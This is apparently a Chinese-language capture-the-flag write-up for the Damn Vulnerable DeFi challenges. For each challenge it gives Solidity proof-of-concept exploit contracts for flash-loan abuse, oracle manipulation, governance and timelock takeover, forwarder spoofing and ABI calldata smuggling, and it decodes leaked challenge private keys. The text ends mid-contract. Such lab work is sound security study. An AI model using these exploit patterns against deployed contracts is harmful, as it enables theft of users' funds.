Writeup by SunSec
題目:
有一個代幣化的金庫,存入了100萬個DVT代幣。該金庫提供免費的閃電貸款,直到寬限期結束。為了在完全無需許可前捕捉任何錯誤,開發者決定在測試網中進行實時測試。還有一個監控合約,用來檢查閃電貸款功能的運行狀況。從餘額為10個DVT代幣開始,展示如何使金庫停止運行。必須讓它停止提供閃電貸款。
過關條件:
知識點:
解題:
if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance();
function test_unstoppable() public checkSolvedByPlayer {
token.transfer(address(vault), 123);
}
題目:
有一個資金池,餘額為1000 WETH,並提供閃電貸款。它收取固定費用為1 WETH。該資金池通過整合無需許可的轉發合約,支持元交易。一名使用者部署了一個餘額為10 WETH的範例合約。看起來它可以執行WETH的閃電貸款。所有資金都面臨風險!將使用者和資金池中的所有WETH救出,並將其存入指定的recovery賬戶。
過關條件:
知識點:
解題:
function withdraw(uint256 amount, address payable receiver) external {
// Reduce deposits
deposits[_msgSender()] -= amount;
totalDeposits -= amount;
// Transfer ETH to designated receiver
weth.transfer(receiver, amount);
}
function _msgSender() internal view override returns (address) {
if (msg.sender == trustedForwarder && msg.data.length >= 20) {
return address(bytes20(msg.data[msg.data.length - 20:]));
//bytes20:將 msg.data 中最後 20 個字節轉換為 address 類型
} else {
return super._msgSender();
}
}
POC :
function test_naiveReceiver() public checkSolvedByPlayer {
bytes[] memory callDatas = new bytes[](11);
for(uint i=0; i<10; i++){
callDatas[i] = abi.encodeCall(NaiveReceiverPool.flashLoan, (receiver, address(weth), 0, "0x"));
}
callDatas[10] = abi.encodePacked(abi.encodeCall(NaiveReceiverPool.withdraw, (WETH_IN_POOL + WETH_IN_RECEIVER, payable(recovery))),
bytes32(uint256(uint160(deployer)))
);
bytes memory callData;
callData = abi.encodeCall(pool.multicall, callDatas);
BasicForwarder.Request memory request = BasicForwarder.Request(
player,
address(pool),
0,
gasleft(),
forwarder.nonces(player),
callData,
1 days
);
bytes32 requestHash = keccak256(
abi.encodePacked(
"\x19\x01",
forwarder.domainSeparator(),
forwarder.getDataHash(request)
)
);
(uint8 v, bytes32 r, bytes32 s)= vm.sign(playerPk ,requestHash);
bytes memory signature = abi.encodePacked(r, s, v);
forwarder.execute(request, signature);
}
題目:
越來越多的借貸池提供閃電貸款。在這個情況下,一個新的池子已經啟動,提供免費的 DVT 代幣閃電貸款。該池子持有 100 萬個 DVT 代幣。而你什麼都沒有。要通過這個挑戰,你需要在一筆交易中拯救池子中的所有資金,並將這些資金存入指定的恢復賬戶。
過關條件:
知識點:
解題:
POC :
function test_truster() public checkSolvedByPlayer {
Exploit exploit = new Exploit(address(pool), address(token),address(recovery));
}
contract Exploit {
uint256 internal constant TOKENS_IN_POOL = 1_000_000e18;
constructor(address _pool, address _token, address recoveryAddress) payable {
TrusterLenderPool pool = TrusterLenderPool(_pool);
bytes memory data = abi.encodeWithSignature("approve(address,uint256)", address(this), TOKENS_IN_POOL);
pool.flashLoan(0, address(this), _token, data);
DamnValuableToken token = DamnValuableToken(_token);
token.transferFrom(_pool, address(recoveryAddress), TOKENS_IN_POOL);
}
}
題目: 一個出乎意料的簡單池子允許任何人存入ETH,並隨時提取。該池子已經有1000 ETH的餘額,並提供免費的閃電貸款來推廣他們的系統。你開始時有1 ETH的餘額。通過將池子裡的所有ETH救出並存入指定的 Recovery 錢包來完成挑戰。
過關條件:
知識點:
解題:
POC :
function test_sideEntrance() public checkSolvedByPlayer {
Exploit exploiter = new Exploit(address(pool), recovery, ETHER_IN_POOL);
exploiter.attack();
}
contract Exploit{
SideEntranceLenderPool public pool;
address public recovery;
uint public exploitAmount;
constructor(address _pool, address _recovery, uint _amount){
pool = SideEntranceLenderPool(_pool);
recovery = _recovery;
exploitAmount = _amount;
}
function attack() external returns(bool){
pool.flashLoan(exploitAmount);
pool.withdraw();
payable(recovery).transfer(exploitAmount);
}
function execute() external payable{
pool.deposit{value:msg.value}();
}
receive() external payable{}
}
題目: 一個合約正在分發Damn Valuable Tokens和WETH作為獎勵。要領取獎勵,用戶必須證明自己在選定的受益者名單中。不過不用擔心燃料費,這個合約已經過優化,允許在同一筆交易中領取多種代幣。Alice已經領取了她的獎勵。你也可以領取你的獎勵!但你發現這個合約中存在一個關鍵漏洞。儘可能多地從這個分發者手中拯救資金,將所有回收的資產轉移到指定的 Recovery 錢包中。
過關條件:
知識點:
解題:
// for the last claim
if (i == inputClaims.length - 1) {
if (!_setClaimed(token, amount, wordPosition, bitsSet)) revert AlreadyClaimed();
}
POC :
function test_theRewarder() public checkSolvedByPlayer {
uint PLAYER_DVT_CLAIM_AMOUNT = 11524763827831882;
uint PLAYER_WETH_CLAIM_AMOUNT = 1171088749244340;
bytes32[] memory dvtLeaves = _loadRewards(
"/test/the-rewarder/dvt-distribution.json"
);
bytes32[] memory wethLeaves = _loadRewards(
"/test/the-rewarder/weth-distribution.json"
);
uint dvtTxCount = TOTAL_DVT_DISTRIBUTION_AMOUNT /
PLAYER_DVT_CLAIM_AMOUNT;
uint wethTxCount = TOTAL_WETH_DISTRIBUTION_AMOUNT /
PLAYER_WETH_CLAIM_AMOUNT;
uint totalTxCount = dvtTxCount + wethTxCount;
IERC20[] memory tokensToClaim = new IERC20[](2);
tokensToClaim[0] = IERC20(address(dvt));
tokensToClaim[1] = IERC20(address(weth));
// Create Alice's claims
console.log(totalTxCount);
Claim[] memory claims = new Claim[](totalTxCount);
for (uint i = 0; i < totalTxCount; i++) {
if (i < dvtTxCount) {
claims[i] = Claim({
batchNumber: 0, // claim corresponds to first DVT batch
amount: PLAYER_DVT_CLAIM_AMOUNT,
tokenIndex: 0, // claim corresponds to first token in `tokensToClaim` array
proof: merkle.getProof(dvtLeaves, 188) //player at index 188
});
} else {
claims[i] = Claim({
batchNumber: 0, // claim corresponds to first DVT batch
amount: PLAYER_WETH_CLAIM_AMOUNT,
tokenIndex: 1, // claim corresponds to first token in `tokensToClaim` array
proof: merkle.getProof(wethLeaves, 188) //player at index 188
});
}
}
//multiple claims
distributor.claimRewards({
inputClaims: claims,
inputTokens: tokensToClaim
});
dvt.transfer(recovery, dvt.balanceOf(player));
weth.transfer(recovery, weth.balanceOf(player));
}
題目: 一個新的貸款池已經上線!現在它提供DVT代幣的閃電貸款服務。這個池子還包括一個精巧的治理機制來控制它。這能出什麼問題呢,對吧?你開始時沒有任何DVT代幣餘額,而這個池子中有150萬的資金面臨風險。將池子中的所有資金救出並存入指定的回收賬戶,完成這項挑戰。
過關條件:
知識點:
解題:
POC :
function test_selfie() public checkSolvedByPlayer {
Exploit exploiter = new Exploit(
address(pool),
address(governance),
address(token)
);
exploiter.exploitSetup(address(recovery));
vm.warp(block.timestamp + 2 days);
exploiter.exploitCloseup();
}
contract Exploit is IERC3156FlashBorrower{
SelfiePool selfiePool;
SimpleGovernance simpleGovernance;
DamnValuableVotes damnValuableToken;
uint actionId;
bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");
constructor(
address _selfiePool,
address _simpleGovernance,
address _token
){
selfiePool = SelfiePool(_selfiePool);
simpleGovernance = SimpleGovernance(_simpleGovernance);
damnValuableToken = DamnValuableVotes(_token);
}
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32){
damnValuableToken.delegate(address(this));
uint _actionId = simpleGovernance.queueAction(
address(selfiePool),
0,
data
);
actionId = _actionId;
IERC20(token).approve(address(selfiePool), amount+fee);
return CALLBACK_SUCCESS;
}
function exploitSetup(address recovery) external returns(bool){
uint amountRequired = 1_500_000e18;
bytes memory data = abi.encodeWithSignature("emergencyExit(address)", recovery);
selfiePool.flashLoan(IERC3156FlashBorrower(address(this)), address(damnValuableToken), amountRequired, data);
}
function exploitCloseup() external returns(bool){
bytes memory resultData = simpleGovernance.executeAction(actionId);
}
}
題目: 在瀏覽一個最受歡迎的DeFi項目之一的網絡服務時,你從服務器那裡得到了一個奇怪的響應。以下是其中的一段:
HTTP/2 200 OK
content-type: text/html
content-language: en
vary: Accept-Encoding
server: cloudflare
4d 48 67 33 5a 44 45 31 59 6d 4a 68 4d 6a 5a 6a 4e 54 49 7a 4e 6a 67 7a 59 6d 5a 6a 4d 32 52 6a 4e 32 4e 6b 59 7a 56 6b 4d 57 49 34 59 54 49 33 4e 44 51 30 4e 44 63 31 4f 54 64 6a 5a 6a 52 6b 59 54 45 33 4d 44 56 6a 5a 6a 5a 6a 4f 54 6b 7a 4d 44 59 7a 4e 7a 51 30
4d 48 67 32 4f 47 4a 6b 4d 44 49 77 59 57 51 78 4f 44 5a 69 4e 6a 51 33 59 54 59 35 4d 57 4d 32 59 54 56 6a 4d 47 4d 78 4e 54 49 35 5a 6a 49 78 5a 57 4e 6b 4d 44 6c 6b 59 32 4d 30 4e 54 49 30 4d 54 51 77 4d 6d 46 6a 4e 6a 42 69 59 54 4d 33 4e 32 4d 30 4d 54 55 35
一個相關的鏈上交易所正在出售名為“DVNFT”的(價格荒誕地高)的收藏品,目前每個價格為999 ETH。這個價格是由一個基於三個可信報告者的鏈上預言機獲取的,這三個報告者分別是:0x188…088、0xA41…9D8 和 0xab3…a40。
你開始時賬戶餘額僅為0.1 ETH,通過將交易所中可用的所有ETH救出來來完成挑戰。然後將資金存入指定的回收賬戶中。
過關條件:
知識點:
解題:
import base64
def hex_to_ascii(hex_str):
ascii_str = ''
for i in range(0, len(hex_str), 2):
ascii_str += chr(int(hex_str[i:i+2], 16))
return ascii_str
def decode_base64(base64_str):
# Decode Base64 to ASCII
return base64.b64decode(base64_str).decode('utf-8')
leaked_information = [
'4d 48 67 33 5a 44 45 31 59 6d 4a 68 4d 6a 5a 6a 4e 54 49 7a 4e 6a 67 7a 59 6d 5a 6a 4d 32 52 6a 4e 32 4e 6b 59 7a 56 6b 4d 57 49 34 59 54 49 33 4e 44 51 30 4e 44 63 31 4f 54 64 6a 5a 6a 52 6b 59 54 45 33 4d 44 56 6a 5a 6a 5a 6a 4f 54 6b 7a 4d 44 59 7a 4e 7a 51 30',
'4d 48 67 32 4f 47 4a 6b 4d 44 49 77 59 57 51 78 4f 44 5a 69 4e 6a 51 33 59 54 59 35 4d 57 4d 32 59 54 56 6a 4d 47 4d 78 4e 54 49 35 5a 6a 49 78 5a 57 4e 6b 4d 44 6c 6b 59 32 4d 30 4e 54 49 30 4d 54 51 77 4d 6d 46 6a 4e 6a 42 69 59 54 4d 33 4e 32 4d 30 4d 54 55 35',
]
from eth_account import Account
for leak in leaked_information:
hex_str = ''.join(leak.split())
ascii_str = hex_to_ascii(hex_str)
decoded_str = decode_base64(ascii_str)
private_key = decoded_str
print("Private Key:", private_key)
# Create a wallet instance from the private key
wallet = Account.from_key(private_key)
# Get the public key (address)
address = wallet.address
print("Wallet address:", address)
Private Key: 0x7d15bba26c523683bfc3dc7cdc5d1b8a2744447597cf4da1705cf6c993063744
Wallet address: 0x188Ea627E3531Db590e6f1D71ED83628d1933088
Private Key: 0x68bd020ad186b647a691c6a5c0c1529f21ecd09dcc45241402ac60ba377c4159
Wallet address: 0xA417D473c40a4d42BAd35f147c21eEa7973539D8
POC :
function test_compromised() public checkSolved {
Exploit exploit = new Exploit{value:address(this).balance}(oracle, exchange, nft, recovery);
vm.startPrank(sources[0]);
oracle.postPrice(symbols[0],0);
vm.stopPrank();
vm.startPrank(sources[1]);
oracle.postPrice(symbols[0],0);
vm.stopPrank();
exploit.buy();
vm.startPrank(sources[0]);
oracle.postPrice(symbols[0],999 ether);
vm.stopPrank();
vm.startPrank(sources[1]);
oracle.postPrice(symbols[0],999 ether);
vm.stopPrank();
exploit.sell();
exploit.recover(999 ether);
}
contract Exploit is IERC721Receiver{
TrustfulOracle oracle;
Exchange exchange;
DamnValuableNFT nft;
uint nftId;
address recovery;
constructor(
TrustfulOracle _oracle,
Exchange _exchange,
DamnValuableNFT _nft,
address _recovery
) payable {
oracle = _oracle;
exchange = _exchange;
nft = _nft;
recovery = _recovery;
}
function buy() external payable{
uint _nftId = exchange.buyOne{value:1}();
nftId = _nftId;
}
function sell() external payable{
nft.approve(address(exchange), nftId);
exchange.sellOne(nftId);
}
function recover(uint amount) external {
payable(recovery).transfer(amount);
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4){
return this.onERC721Received.selector;
}
receive() external payable{
}
}
題目: 有一個貸款池,使用者可以在其中借貸Damn Valuable Tokens(DVTs)。要借貸,他們首先需要存入借款額度兩倍的ETH作為抵押品。該池目前有100,000 DVT的流動性。在一個老舊的Uniswap v1交易所中開設了DVT市場,目前有10 ETH和10 DVT的流動性。通過將貸款池中的所有代幣救出來並將它們存入指定的 recovery 錢包來完成挑戰。你開始時有25 ETH和1000 DVT的餘額。
過關條件:
知識點:
解題:
function _computeOraclePrice() private view returns (uint256) {
// calculates the price of the token in wei according to Uniswap pair
return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
}
POC :
function test_puppet() public checkSolvedByPlayer {
Exploit exploit = new Exploit{value:PLAYER_INITIAL_ETH_BALANCE}(
token,
lendingPool,
uniswapV1Exchange,
recovery
);
token.transfer(address(exploit), PLAYER_INITIAL_TOKEN_BALANCE);
exploit.attack(POOL_INITIAL_TOKEN_BALANCE);
}
contract Exploit {
DamnValuableToken token;
PuppetPool lendingPool;
IUniswapV1Exchange uniswapV1Exchange;
address recovery;
constructor(
DamnValuableToken _token,
PuppetPool _lendingPool,
IUniswapV1Exchange _uniswapV1Exchange,
address _recovery
) payable {
token = _token;
lendingPool = _lendingPool;
uniswapV1Exchange = _uniswapV1Exchange;
recovery = _recovery;
}
function attack(uint exploitAmount) public {
uint tokenBalance = token.balanceOf(address(this));
token.approve(address(uniswapV1Exchange), tokenBalance);
console.log("before calculateDepositRequired(amount)",lendingPool.calculateDepositRequired(exploitAmount));
uniswapV1Exchange.tokenToEthTransferInput(tokenBalance, 1, block.timestamp, address(this));
console.log(token.balanceOf(address(uniswapV1Exchange)));
console.log("after calculateDepositRequired(amount)",lendingPool.calculateDepositRequired(exploitAmount));
lendingPool.borrow{value: 20e18}(
exploitAmount,
recovery
);
}
receive() external payable {
}
}
before calculateDepositRequired(amount) 200000000000000000000000
after calculateDepositRequired(amount) 19664329888798200000
題目: 上一個貸款池的開發者似乎吸取了教訓,並發布了新版本。現在,他們使用Uniswap v2交易所作為價格預言機,並搭配推薦的實用庫。這樣應該足夠了吧?你開始時有20 ETH和10000 DVT代幣的餘額。該池子有一百萬DVT代幣的資金面臨風險!將池子中的所有資金救出,並將它們存入指定的recovery 錢包。
知識點:
過關條件:
解題:
POC :
// Fetch the price from Uniswap v2 using the official libraries
function (uint256 amount) private view returns (uint256) {
(uint256 reservesWETH, uint256 reservesToken) =
UniswapV2Library.getReserves({factory: _uniswapFactory, tokenA: address(_weth), tokenB: address(_token)});
return UniswapV2Library.quote({amountA: amount * 10 ** 18, reserveA: reservesToken, reserveB: reservesWETH});
}
function test_puppetV2() public checkSolvedByPlayer {
token.approve(address(uniswapV2Router), type(uint256).max);
address[] memory path = new address[](2);
path[0] = address(token);
path[1] = address(weth);
console.log("before alculateDepositOfWETHRequired",lendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE));
uniswapV2Router.swapExactTokensForETH(token.balanceOf(player), 1 ether, path, player, block.timestamp);
weth.deposit{value: player.balance}();
weth.approve(address(lendingPool), type(uint256).max);
uint256 poolBalance = token.balanceOf(address(lendingPool));
uint256 depositOfWETHRequired = lendingPool.calculateDepositOfWETHRequired(poolBalance);
console.log("after alculateDepositOfWETHRequired",lendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE));
lendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE);
token.transfer(recovery,POOL_INITIAL_TOKEN_BALANCE);
}
before alculateDepositOfWETHRequired 300000000000000000000000
after alculateDepositOfWETHRequired 29496494833197321980
題目: 一個全新的Damn Valuable NFTs市場已經發布!市場上有6個NFT被首次鑄造,現已開放出售,每個價格為15 ETH。有一個關鍵漏洞被報告,聲稱所有的代幣都可以被奪走。然而,開發者們不知道如何拯救這些代幣!他們提供了一個45 ETH的賞金,給任何願意將這些NFT取出並送回給他們的人。回收過程由一個專門的智能合約管理。你已經同意幫忙。儘管如此,你的餘額只有0.1 ETH。開發者們對你要求更多資金的消息卻毫無回應。如果你能獲得免費的ETH,至少瞬間獲得一些該多好。
過關條件:
知識點:
解題:
if (msg.value < priceToPay) {
revert InsufficientPayment();
}
function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
for (uint256 i = 0; i < tokenIds.length; ++i) {
unchecked {
_buyOne(tokenIds[i]);
}
}
}
_token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId);
// pay seller using cached token
payable(_token.ownerOf(tokenId)).sendValue(priceToPay);
if (++received == 6) {
address recipient = abi.decode(_data, (address));
payable(recipient).sendValue(bounty);
}
POC :
function test_freeRider() public checkSolvedByPlayer {
Exploit exploit = new Exploit{value:0.045 ether}(
address(uniswapPair),
address(marketplace),
address(weth),
address(nft),
address(recoveryManager)
);
exploit.attack();
console.log("balance of attacker:", address(player).balance / 1e15, "ETH");
}
contract Exploit {
IUniswapV2Pair public pair;
IMarketplace public marketplace;
IWETH public weth;
IERC721 public nft;
address public recoveryContract;
address public player;
uint256 private constant NFT_PRICE = 15 ether;
uint256[] private tokens = [0, 1, 2, 3, 4, 5];
constructor(address _pair, address _marketplace, address _weth, address _nft, address _recoveryContract)payable{
pair = IUniswapV2Pair(_pair);
marketplace = IMarketplace(_marketplace);
weth = IWETH(_weth);
nft = IERC721(_nft);
recoveryContract = _recoveryContract;
player = msg.sender;
}
function attack() external payable {
// 1. Request a flashSwap of 15 WETH from Uniswap Pair
pair.swap(NFT_PRICE, 0, address(this), "1");
}
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external {
// Access Control
require(msg.sender == address(pair));
require(tx.origin == player);
// 2. Unwrap WETH to native ETH
weth.withdraw(NFT_PRICE);
// 3. Buy 6 NFTS for only 15 ETH total
marketplace.buyMany{value: NFT_PRICE}(tokens);
// 4. Pay back 15WETH + 0.3% to the pair contract
uint256 amountToPayBack = NFT_PRICE * 1004 / 1000;
weth.deposit{value: amountToPayBack}();
weth.transfer(address(pair), amountToPayBack);
// 5. Send NFTs to recovery contract so we can get the bounty
bytes memory data = abi.encode(player);
for(uint256 i; i < tokens.length; i++){
nft.safeTransferFrom(address(this), recoveryContract, i, data);
}
}
function onERC721Received(
address,
address,
uint256,
bytes memory
) external pure returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
receive() external payable {}
}
題目: 為了激勵團隊成員創建更安全的錢包,有人部署了一個Safe錢包的註冊表。當團隊中的某個人部署並註冊一個錢包時,他們會獲得10個DVT代幣。這個註冊表與合法的Safe代理工廠(Safe Proxy Factory)緊密集成,並且包括嚴格的安全檢查。目前,有四個人被註冊為受益人:Alice、Bob、Charlie和David。註冊表中有40個DVT代幣餘額,準備分配給他們。找出註冊表中的漏洞,救出所有資金,並將它們存入指定的回收賬戶。並且在一次交易中完成。
過關條件:
知識點:
解題:
* @notice Function executed when user creates a Safe wallet via SafeProxyFactory::createProxyWithCallback
* setting the registry's address as the callback.
function proxyCreated
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (SafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
function setup(
address[] calldata _owners, //List of Safe owners.
uint256 _threshold, //Number of required confirmations for a Safe transaction.
address to, // Contract address for optional delegate call.
bytes calldata data, //Data payload for optional delegate call.
address fallbackHandler
)
POC :
function test_backdoor() public checkSolvedByPlayer {
Exploit exploit = new Exploit(address(singletonCopy),address(walletFactory),address(walletRegistry),address(token),recovery);
exploit.attack(users);
}
contract Exploit {
address private immutable singletonCopy;
address private immutable walletFactory;
address private immutable walletRegistry;
DamnValuableToken private immutable dvt;
address recovery;
constructor(
address _masterCopy,
address _walletFactory,
address _registry,
address _token,
address _recovery
) {
singletonCopy = _masterCopy;
walletFactory = _walletFactory;
walletRegistry = _registry;
dvt = DamnValuableToken(_token);
recovery = _recovery;
}
function delegateApprove(address _spender) external {
dvt.approve(_spender, 10 ether);
}
function attack(address[] memory _beneficiaries) external {
// For every registered user we'll create a wallet
for (uint256 i = 0; i < 4; i++) {
address[] memory beneficiary = new address[](1);
beneficiary[0] = _beneficiaries[i];
// Create the data that will be passed to the proxyCreated function on WalletRegistry
// The parameters correspond to the GnosisSafe::setup() contract
bytes memory _initializer = abi.encodeWithSelector(
Safe.setup.selector, // Selector for the setup() function call
beneficiary, // _owners => List of Safe owners.
1, // _threshold => Number of required confirmations for a Safe transaction.
address(this), // to => Contract address for optional delegate call.
abi.encodeWithSignature("delegateApprove(address)", address(this)), // data => Data payload for optional delegate call.
address(0), // fallbackHandler => Handler for fallback calls to this contract
0, // paymentToken => Token that should be used for the payment (0 is ETH)
0, // payment => Value that should be paid
0 // paymentReceiver => Adddress that should receive the payment (or 0 if tx.origin)
);
// Create new proxies on behalf of other users
SafeProxy _newProxy = SafeProxyFactory(walletFactory).createProxyWithCallback(
singletonCopy, // _singleton => Address of singleton contract.
_initializer, // initializer => Payload for message call sent to new proxy contract.
i, // saltNonce => Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
IProxyCreationCallback(walletRegistry) // callback => Cast walletRegistry to IProxyCreationCallback
);
//Transfer to caller
dvt.transferFrom(address(_newProxy), recovery, 10 ether);
}
}
}
題目: 有一個安全金庫合約,裡面保管了1000萬個DVT代幣。該金庫是可升級的,並且遵循UUPS模式。金庫的所有者是一個timelock合約。該合約每15天可以提取有限數量的代幣。在金庫上還有一個額外的角色,擁有在緊急情況下清空所有代幣的權限。在timelock合約上,只有擁有「提議者」角色的帳戶才能安排在1小時後執行的操作。你必須從金庫中救出所有代幣並將其存入指定的恢復帳戶。
過關條件:
知識點:
解題:
function execute(address[] calldata targets, uint256[] calldata values, bytes[] calldata dataElements, bytes32 salt)
external
payable
{
...
bytes32 id = getOperationId(targets, values, dataElements, salt);
for (uint8 i = 0; i < targets.length;) {
targets[i].functionCallWithValue(dataElements[i], values[i]);
unchecked {
++i;
}
}
//vulnerable logic
if (getOperationState(id) != OperationState.ReadyForExecution) {
revert NotReadyForExecution(id);
}
operations[id].executed = true;
}
POC :
function test_climber() public checkSolvedByPlayer {
Exploit exploit = new Exploit(payable(timelock),address(vault));
exploit.timelockExecute();
PawnedClimberVault newVaultImpl = new PawnedClimberVault();
vault.upgradeToAndCall(address(newVaultImpl),"");
PawnedClimberVault(address(vault)).withdrawAll(address(token),recovery);
}
contract Exploit {
address payable private immutable timelock;
uint256[] private _values = [0, 0, 0,0];
address[] private _targets = new address[](4);
bytes[] private _elements = new bytes[](4);
constructor(address payable _timelock, address _vault) {
timelock = _timelock;
_targets = [_timelock, _timelock, _vault, address(this)];
_elements[0] = (
abi.encodeWithSignature("grantRole(bytes32,address)", keccak256("PROPOSER_ROLE"), address(this))
);
_elements[1] = abi.encodeWithSignature("updateDelay(uint64)", 0);
_elements[2] = abi.encodeWithSignature("transferOwnership(address)", msg.sender);
_elements[3] = abi.encodeWithSignature("timelockSchedule()");
}
function timelockExecute() external {
ClimberTimelock(timelock).execute(_targets, _values, _elements, bytes32("123"));
}
function timelockSchedule() external {
ClimberTimelock(timelock).schedule(_targets, _values, _elements, bytes32("123"));
}
}
contract PawnedClimberVault is ClimberVault {
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() {
_disableInitializers();
}
function withdrawAll(address tokenAddress, address receiver) external onlyOwner {
// withdraw the whole token balance from the contract
IERC20 token = IERC20(tokenAddress);
require(token.transfer(receiver, token.balanceOf(address(this))), "Transfer failed");
}
}
題目: 激勵用戶部署 Safe 錢包,並獎勵他們 1 DVT。它集成了一個可升級的授權機制,只允許特定的部署者(也就是所謂的守衛者)為特定部署獲得報酬。這個部署者合約只能與在部署過程中設置的 Safe 工廠和 copy 一起工作。看起來 Safe 單例工廠已經部署了。團隊將 2000 萬個 DVT 代幣轉移到地址 0x8be6a88D3871f793aD5D5e24eF39e1bf5be31d2b 的用戶,她的簡單 1-of-1 Safe 原本應該在那裡部署。但他們遺失了應用於部署的 nonce。更糟的是,系統中有漏洞的傳聞正在流傳。團隊非常驚慌。沒有人知道該怎麼做,讓這位用戶更加不知所措。她已授權你訪問她的私鑰。你必須在為時已晚之前,拯救所有資金!從錢包部署者合約中回收所有代幣,並將它們發送到對應的守衛者地址。同時保護並返還用戶的所有資金。在一筆交易中完成。
過關條件:
知識點:
解題:
POC :
// Find the correct nonce using computeCreate2Address
address target = vm.computeCreate2Address(
keccak256(abi.encodePacked(keccak256(initializer), nonce)),
keccak256(abi.encodePacked(type(SafeProxy).creationCode, uint256(uint160(address(singletonCopy))))), //initCodeHash
address(proxyFactory)
);
// 另一種寫法 Find the correct nonce using manual CREATE2 address
// Calculate the salt (combining the initializer hash and nonce)
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), nonce));
// Calculate the creation code hash (SafeProxy creation bytecode)
bytes32 creationCodeHash = keccak256(abi.encodePacked(type(SafeProxy).creationCode, uint256(uint160(address(singletonCopy)))));
// Manually compute the CREATE2 address
address target = address(uint160(uint256(keccak256(
abi.encodePacked(
hex"ff", // Constant value
address(proxyFactory), // Deployer address (proxyFactory)
salt, // Salt value
creationCodeHash // Keccak256 of creation code
)
))));
題目: 無論是熊市還是牛市,真正的 DeFi 開發者都會持續建設。還記得你之前幫助過的那個借貸池嗎?他們現在推出了新版本。他們現在使用 Uniswap V3 作為預言機。沒錯,不再使用現貨價格!這次借貸池查詢的是資產的時間加權平均價格,並且使用了所有推薦的庫。Uniswap 市場中有 100 WETH 和 100 DVT 的流動性。借貸池裡有一百萬個 DVT 代幣。你從 1 ETH 和一些 DVT 開始,必須拯救所有人於這個存在漏洞的借貸池。別忘了將它們發送到指定的恢復帳戶。注意:此挑戰需要有效的 RPC URL,以便將主網狀態分叉到你的本地環境。
過關條件:
知識點:
解題:
function calculateDepositOfWETHRequired(uint256 amount) public view returns (uint256) {
uint256 quote = _getOracleQuote(_toUint128(amount));
return quote * DEPOSIT_FACTOR;
}
POC :
function test_puppetV3() public checkSolvedByPlayer {
address uniswapRouterAddress = 0xE592427A0AEce92De3Edee1F18E0157C05861564;
token.approve(address(uniswapRouterAddress), type(uint256).max);
uint256 quote1 = lendingPool.calculateDepositOfWETHRequired(LENDING_POOL_INITIAL_TOKEN_BALANCE);
console.log("beofre quote: ", quote1); //quote:3000000000000000000000000
ISwapRouter(uniswapRouterAddress).exactInputSingle(
ISwapRouter.ExactInputSingleParams(
address(token),
address(weth),
3000,
address(player),
block.timestamp,
PLAYER_INITIAL_TOKEN_BALANCE, // 110 DVT TOKENS
0,
0
)
);
vm.warp(block.timestamp + 114);
uint256 quote = lendingPool.calculateDepositOfWETHRequired(LENDING_POOL_INITIAL_TOKEN_BALANCE);
weth.approve(address(lendingPool), quote);
console.log("quote: ", quote);
lendingPool.borrow(LENDING_POOL_INITIAL_TOKEN_BALANCE);
token.transfer(recovery,LENDING_POOL_INITIAL_TOKEN_BALANCE);
}
題目: 這裡有一個權限金庫,裡面存有 100 萬個 DVT 代幣。該金庫允許定期提取資金,也允許在緊急情況下提取所有資金。合約內嵌了一個通用授權方案,只允許已知帳戶執行特定操作。開發團隊已收到負責任的披露,稱所有資金可能被盜取。請從金庫中救出所有資金,並將其轉移到指定的回收帳戶。
過關條件:
知識點:
解題:
if (!permissions[getActionId(selector, msg.sender, target)]) {
revert NotAllowed();
}
return target.functionCall(actionData);
// execute selector
0x1cff79cd
// vault.address (第一個 32 字節)
0000000000000000000000001240fa2a84dd9157a0e76b5cfe98b1d52268b264
// offset -> 這個偏移量指向 actionData 在 calldata 中的起始位置。0x80 是 128 字節 (第二個 32 字節)
0000000000000000000000000000000000000000000000000000000000000080
// 這個部分沒有實際用途,通常用來填充固定長度的位置 (第三個 32 字節)
0000000000000000000000000000000000000000000000000000000000000000
// withdraw() 繞過檢查 (第四個 32 字節)
**d9caed12**00000000000000000000000000000000000000000000000000000000
// 這表示 actionData 的總長度是 68 字節(0x44 為十六進制的 68) actionData ( 4 + 32 + 32)
0000000000000000000000000000000000000000000000000000000000000044
// sweepFunds calldata
85fb709d00000000000000000000000073030b99950fb19c6a813465e58a0bca5487fbea0000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b
POC :
function test_abiSmuggling() public checkSolvedByPlayer {
Exploit exploit = new Exploit(address(vault),address(token),recovery);
bytes memory payload = exploit.executeExploit();
address(vault).call(payload);
}
contract Exploit {
SelfAuthorizedVault public vault;
IERC20 public token;
address public player;
address public recovery;
// Event declarations for logging
event LogExecuteSelector(bytes executeSelector);
event LogTargetAddress(bytes target);
event LogDataOffset(bytes dataOffset);
event LogEmptyData(bytes emptyData);
event LogWithdrawSelectorPadded(bytes withdrawSelectorPadded);
event LogActionDataLength(uint actionDataLength);
event LogSweepFundsCalldata(bytes sweepFundsCalldata);
event LogCalldataPayload(bytes calldataPayload);
constructor(address _vault, address _token, address _recovery) {
vault = SelfAuthorizedVault(_vault);
token = IERC20(_token);
recovery = _recovery;
player = msg.sender;
}
function executeExploit() external returns (bytes memory) {
require(msg.sender == player, "Only player can execute exploit");
// `execute()` function selector
bytes4 executeSelector = vault.execute.selector;
// Construct the target contract address, which is the vault address, padded to 32 bytes
bytes memory target = abi.encodePacked(bytes12(0), address(vault));
// Construct the calldata start location offset
